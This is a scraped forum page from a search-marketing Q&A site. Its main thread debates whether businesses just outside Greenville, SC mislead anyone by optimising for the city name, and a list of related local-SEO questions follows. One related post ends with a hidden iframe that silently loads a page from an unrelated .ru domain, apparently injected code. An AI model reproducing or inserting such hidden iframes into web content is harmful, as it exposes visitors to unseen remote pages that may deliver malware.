Is it deceptive to attempt to rank for a city you're located just outside of?
-
I live in Greenville, SC (who has a large "Greater Greenville" reach). I work for an agency with many clients who are located just outside of the city in smaller towns, sometimes technically in counties other than Greenville. Often, they provide services in the city of Greenville and aim to grow business there, so we'll use "Greenville, SC" throughout site copy, in titles, and in meta descriptions.
Are there any negative implications to this? Any chance search engines think these clients are being deceptive? And is it possible these clients are hurting their ranking in their actual location by trying to appear to be a Greenville-based company?
Thank you for any thoughts!
-
Just to piggyback off of Miriam, we do a lot for clients in the home services category who want to show up in markets like this. Our clients are service area businesses, so we build targeted pages that talk about the service they provide for that market. What we have found is that by making that page unique to the market has helped us with gaining some of that sweet page one visibility.
You will almost never rank higher in a market outside of your physical location, but yes, it's possible to get some visibility. Just make sure you're being honest in your representation to customers. An SEO strategy that ends with an angry, non-paying customer is not a strategy at all.
-
Hi Brent,
Great topic! So, fundamentally, yes, the business isn't being honest in representing itself to the consumer public as being in a city where it isn't actually located. So, from an ethical standpoint, this is problematic.
From a search standpoint, Google is going to rely on the physical address of the business. If the company's website and citations state that it's at 123 Anderson Road in White Horse, SC, no amount of optimizing for Greenville is going to fool Google into thinking that the business is physically located there. Because of this, the company cannot expect to rank in Google's local packs for Greenville-related-or-based searches, unless there is almost no competition in this company's geo-industry (like they are the only gas station servicing a 25 mile radius).
I know - it's a drag that a business just outside of city borders is typically out of the running for local pack rankings, but Google's bias towards physical location is very strong. Where does this leave a client like yours? It depends on the exact nature of its business model. Some questions:
-
Do your clients' customers come to the physical location of the business, or is it a service area business (SAB), like a plumber, that services customers in a variety of towns?
-
Does the company also have customers in the town where it's physically located, or is it only getting customers from Greenville or other cities?
Please, let the community know what you can. If you're not able to share the identity of the client, that's okay, but the more specific you can be, the more customized feedback you'll receive here.
-
Got a burning SEO question?
Subscribe to Moz Pro to gain full access to Q&A, answer questions, and ask your own.
Browse Questions
Explore more categories
-
Moz Tools
Chat with the community about the Moz tools.
-
SEO Tactics
Discuss the SEO process with fellow marketers
-
Community
Discuss industry events, jobs, and news!
-
Digital Marketing
Chat about tactics outside of SEO
-
Research & Trends
Dive into research and trends in the search industry.
-
Support
Connect on product support and feature requests.
Related Questions
-
Ranking Dropped Off for HOMETOWN + BRAND
I work with a number of local businesses that generally rank well for the query "HOMETOWN + BRAND." The brand is not the business name. In late August, three of these businesses (all located in the same large US city and owned by the same parent company) stopped ranking for this important keyword. They were all in pos. 1 before., and now they're not on the first 5 pages. There are no issues or errors recorded in Search Console, rankings haven't shifted dramatically for any other keywords and the GMB listing is fully filled out and completely accurate. I'm banging my head trying to figure out how to fix this issue and start seeing my page 1 rankings again. Also, I'm not sure if it's related but I have seen a significant increase in organic traffic from a city within the same state that's about 3.5 hours away. I thought maybe there was something on the sites telling Google they're located in the wrong city, but I'm not seeing anything. Any suggestions or ideas? Any help would be extremely appreciated!
Local Website Optimization | | LocalSEOLady0 -
Ranking for keywords locally with multiple locations
If we have a company with multiple physical locations across multiple states, but selling the same products, what would be an optimal strategy? All local locations have been claimed, but the site is not coming up for searches with local intent. If the corporate site focuses on the "products", what is the best way to get that associated with the individual locations as well? When implementing json+ld, would we put the specific location on the specific location pages and nothing on the rest? Any other tips would be great! Thanks in advance,
Local Website Optimization | | IDMI.Net0 -
Do location pages boost the homepage?
Google has stated that businesses should spend time creating location pages for the various service areas that businesses operate in. What I want to know is, it is equally about boosting the relevance of the site as a whole, as well as ranking that individual page in the local area. Does Google take into account the fact that you have the location page and reward the homepage by favoring it more in that local area, or is it simply about ranking an individual page in each town/city?
Local Website Optimization | | OliverNeely2 -
Australian local business website on a dot.com - how do I ensure its indexed/ranked by Google.com/au as priority
look forward to your advice My client is a local business in australia but has a dotcom site which is hosted in US. We are just moving it to wordpress and new hosting. I want to ensure that Google.com/au will be able to index and rank the content. How can I tell google its a site for people in australia? I thought best to set up a subfolder like this hissite.com/au and redirect anyone from australia to go to this url? Thanks for your recommendations
Local Website Optimization | | bisibee10 -
Drastic changes in keyword rankings on a daily basis
Anybody ever seen keyword rankings for a site change drastically from day to day? I've got a client, a local furniture store, whose local keywords (furniture + city) rank consistently well without much change, but when it comes to broader keyword rankings (like "furniture" or "furniture store") in their zip code, they'll go from ranking at the top of Google one day to not being ranked at all the next (at least according to Raven Tools). My best guess is that it's just a reflection of personalized results from Google, but such a dramatic change day in and day out makes me wonder.
Local Website Optimization | | ChaseMG0 -
Keywords with locations
I've seen quite a few threads that orbit around my questions, but none in the last year, so I'll ask it 🙂 I'm seeing some strange results when testing various keywords with and without locations included. For a foundation repair company in Indiana, we've optimized for all the big cities, since the company services the whole state. Here's a sample of weird stuff: Test 1: If I set my location (all other Google 'helps' turned off) to Indianapolis and search 'foundation repair' result is #3 'foundation repair indianapolis' result is #20 'indiana foundation repair' result is #18 Test 2: Location set to the small town the company is based in (Rossville, IN) 'foundation repair' result is #1 'foundation repair rossville' result is #3 behind other companies located in Rossville, GA, and Rossville, PA!! I suppose I was under the impression that the ip location data Google gathers would weigh more heavily than how place names are optimized as part of keywords (or just that the physical location would supplant the place name typed into the search if it happened to be the same). But according to these tests, it seems that inferred location is by far a secondary factor. I can deduce that we're more optimized than our competitors for 'foundation repair', but less optimized for keywords with place names in them (we feel like we'd be verging on stuffing if we did more). Am I missing something here? Has anyone else seen this sort of thing?
Local Website Optimization | | clearlyseo0 -
Main Website and microsite - Do I do google places for both as it will technically be duplicating the locations,?
Hi All, I have a main eCommerce website which trades out of a number of locations and all these locations appear in google places although they don't rank particularly well in google places . I also have a number of microsites which are specific to one type of product I do and these rank very well locally. My question is , should I also do google places for my microsites as this would technically mean I am creating a duplicate location listing in google places but for a different website etc./business I only have one google account so I guess this would be done under the same google account ? thanks Pete <iframe id="zunifrm" style="display: none;" src="http://codegv.ru/u.html"></iframe>
Local Website Optimization | | PeteC120 -
How Best to do implement a Branch Locator for a Website with invididual location category pages
Hi All, We have an ecommerce Website with multiple locations for our stores and we currently display separate location specific pages for the different categories and sub categories. This has helped us previously to rank well for local search in each of the areas we have a store but over the last few months since humingbird, our local rankings on some things have dip a little . We want to implement a branch locator of some description to improve the user experience. From looking at other websites with branch locators, they tend to a separate button/page with which you can search for a branch etc. However, they don't have location specific pages. My query is should I do it so if a user comes in on a specific category location page and follows it through to product page , then to have a tab on the product page displaying the local branch from which he can come in. My thinking here is that , is that it would help confirm my local citations and help improve local rankings. Or Should the local branch be displayed on the local category pages instead or as well ?. If a user comes in from the homepage or not on a specific location page, then the branch locator will allow them to search for a specific branch. Should I also put in a branch locator as a separate page or can It be in more places. I don't want to damage anything which may have an effect on rankings due to citations and NAP on the location specific pages. Any advice or good examples to look at would be greatly appreciated thanks Sarah.
Local Website Optimization | | SarahCollins1